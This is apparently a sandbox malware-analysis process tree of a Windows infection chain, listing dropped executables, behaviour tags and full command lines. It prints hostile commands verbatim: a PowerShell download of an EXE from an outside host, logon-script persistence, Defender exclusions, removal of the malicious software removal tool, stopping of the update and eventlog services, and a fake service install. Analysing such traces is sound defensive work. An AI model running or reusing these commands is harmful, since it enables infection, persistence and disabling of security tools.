                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x260,0x7ffa7008f208,0x7ffa7008f214,0x7ffa7008f220
                                                                                                                                          6⤵
                                                                                                                                            PID:1476
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1724,i,7163654990979668135,2016544028585515685,262144 --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:3
                                                                                                                                            6⤵
                                                                                                                                              PID:744
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2080,i,7163654990979668135,2016544028585515685,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:2
                                                                                                                                              6⤵
                                                                                                                                                PID:2140
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2508,i,7163654990979668135,2016544028585515685,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:8
                                                                                                                                                6⤵
                                                                                                                                                  PID:3628
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3524,i,7163654990979668135,2016544028585515685,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
                                                                                                                                                  6⤵
                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                  PID:632
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3532,i,7163654990979668135,2016544028585515685,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:1
                                                                                                                                                  6⤵
                                                                                                                                                  • Uses browser remote debugging
                                                                                                                                                  PID:1816
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216610101\JFN8FJt.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216610101\JFN8FJt.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                              PID:4572
                                                                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                5⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:2304
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216620101\HmngBpR.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216620101\HmngBpR.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                              PID:4380
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:824
                                                                                                                                                • C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                                                                                                                                                  C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
                                                                                                                                                  6⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                                                                                  PID:2004
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    7⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                    PID:316
                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                      8⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4660
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216630101\ADFoyxP.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216630101\ADFoyxP.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2792
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -c "Invoke-WebRequest -Uri 'https://safetyingold.com/share/4822aa372544ea4642142339b22d22421d08bdb543cd2de334b3fd0e5fc07565.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe' -Headers @{'User-Agent'='build2'}"
                                                                                                                                                5⤵
                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                • Downloads MZ/PE file
                                                                                                                                                PID:1936
                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell.exe -c "Set-ItemProperty -Path 'HKCU:\Environment' -Name 'UserinitMprLogonScript' -Value 'C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe'"
                                                                                                                                                5⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                PID:3832
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:4544
                                                                                                                                                • C:\Windows\Temp\{3BAC5075-4EE0-4E53-92DC-04D5A6FBFA79}\.cr\rsfff01fff.exe
                                                                                                                                                  "C:\Windows\Temp\{3BAC5075-4EE0-4E53-92DC-04D5A6FBFA79}\.cr\rsfff01fff.exe" -burn.clean.room="C:\Users\Admin\AppData\Roaming\Microsoft\Protect\rsfff01fff.exe" -burn.filehandle.attached=536 -burn.filehandle.self=544
                                                                                                                                                  6⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:4668
                                                                                                                                                  • C:\Windows\Temp\{2B71D7AD-2703-4A0E-8EF8-6A1C2AD3667F}\.ba\irestore.exe
                                                                                                                                                    C:\Windows\Temp\{2B71D7AD-2703-4A0E-8EF8-6A1C2AD3667F}\.ba\irestore.exe
                                                                                                                                                    7⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:4192
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\DownloadscanRs\irestore.exe
                                                                                                                                                      C:\Users\Admin\AppData\Roaming\DownloadscanRs\irestore.exe
                                                                                                                                                      8⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                      PID:5812
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        9⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:3476
                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          10⤵
                                                                                                                                                            PID:5808
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10216640101\v6Oqdnc.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10216640101\v6Oqdnc.exe"
                                                                                                                                                4⤵
                                                                                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Identifies Wine through registry keys
                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:1568
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10216650101\IgTUAvH.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10216650101\IgTUAvH.exe"
                                                                                                                                                4⤵
                                                                                                                                                • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                                                • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                • Downloads MZ/PE file
                                                                                                                                                • Checks computer location settings
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                PID:1000
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\mine.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\mine.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                  PID:2720
                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                    6⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    PID:5152
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5128
                                                                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                        7⤵
                                                                                                                                                          PID:5276
                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                        6⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:2872
                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                        6⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:5144
                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                        6⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:3664
                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                        C:\Windows\system32\sc.exe stop bits
                                                                                                                                                        6⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:1572
                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                        C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                        6⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:1212
                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                        6⤵
                                                                                                                                                        • Power Settings
                                                                                                                                                        PID:5780
                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                        6⤵
                                                                                                                                                        • Power Settings
                                                                                                                                                        PID:3360
                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                        6⤵
                                                                                                                                                        • Power Settings
                                                                                                                                                        PID:4788
                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                        6⤵
                                                                                                                                                        • Power Settings
                                                                                                                                                        PID:4032
                                                                                                                                                      • C:\Windows\system32\dialer.exe
                                                                                                                                                        C:\Windows\system32\dialer.exe
                                                                                                                                                        6⤵
                                                                                                                                                          PID:3508
                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                          C:\Windows\system32\sc.exe delete "WindowsAutHost"
                                                                                                                                                          6⤵
                                                                                                                                                          • Launches sc.exe
                                                                                                                                                          PID:5176
                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                          C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
                                                                                                                                                          6⤵
                                                                                                                                                          • Launches sc.exe
                                                                                                                                                          PID:8
                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                          C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                                          6⤵
                                                                                                                                                          • Launches sc.exe
                                                                                                                                                          PID:4876
                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                          C:\Windows\system32\sc.exe start "WindowsAutHost"
                                                                                                                                                          6⤵
                                                                                                                                                          • Launches sc.exe
                                                                                                                                                          PID:5356
                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            7⤵
                                                                                                                                                              PID:4752
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\debuger.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\debuger.exe"
                                                                                                                                                          5⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                          PID:4184
                                                                                                                                                          • C:\Windows\system32\attrib.exe
                                                                                                                                                            attrib +h +s C:\Users\Admin\AppData\Local\Temp\debuger.exe
                                                                                                                                                            6⤵
                                                                                                                                                            • Views/modifies file attributes
                                                                                                                                                            PID:5936
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\10216660101\b0hgYat.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\10216660101\b0hgYat.exe"
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:440
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10216660101\b0hgYat.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10216660101\b0hgYat.exe"
                                                                                                                                                          5⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          PID:5672
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                            6⤵
                                                                                                                                                              PID:4888
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tmpanz7e9e5.bat"
                                                                                                                                                              6⤵
                                                                                                                                                                PID:852
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:1616
                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                    timeout /t 2 /nobreak
                                                                                                                                                                    7⤵
                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                    PID:6104
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10216670101\9u6doIF.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10216670101\9u6doIF.exe"
                                                                                                                                                              4⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              PID:3752
                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f01947c788fc5afe\ScreenConnect.ClientSetup.msi"
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:5980
                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                          1⤵
                                                                                                                                                            PID:3560
                                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                            1⤵
                                                                                                                                                              PID:3740
                                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                              1⤵
                                                                                                                                                                PID:3896
                                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4084
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2192
                                                                                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:3096
                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:5496
                                                                                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                                                                                        C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1656
                                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:2300
                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5616
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:448
                                                                                                                                                                              • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:4960
                                                                                                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:5832
                                                                                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:856
                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:2156
                                                                                                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                        PID:4680
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2432
                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:2892
                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:1556
                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:5688
                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Drops startup file
                                                                                                                                                                                                PID:3960
                                                                                                                                                                                              • C:\ProgramData\WindowsServices\WindowsAutHost
                                                                                                                                                                                                C:\ProgramData\WindowsServices\WindowsAutHost
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                • Drops file in Drivers directory
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                PID:936
                                                                                                                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                  PID:4372
                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5528
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:3852
                                                                                                                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4204
                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                        PID:5368
                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                        PID:5192
                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                        PID:1908
                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:5112
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:4384
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Power Settings
                                                                                                                                                                                                          PID:5456
                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1032
                                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Power Settings
                                                                                                                                                                                                            PID:5560
                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:3644
                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Power Settings
                                                                                                                                                                                                              PID:2716
                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2056
                                                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Power Settings
                                                                                                                                                                                                                PID:1416
                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:3436
                                                                                                                                                                                                                • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                  C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1448
                                                                                                                                                                                                                  • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                    C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:4440
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                        PID:6036
                                                                                                                                                                                                                    • C:\Windows\system32\dialer.exe
                                                                                                                                                                                                                      dialer.exe
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5644
                                                                                                                                                                                                                    • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                      C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                      1⤵
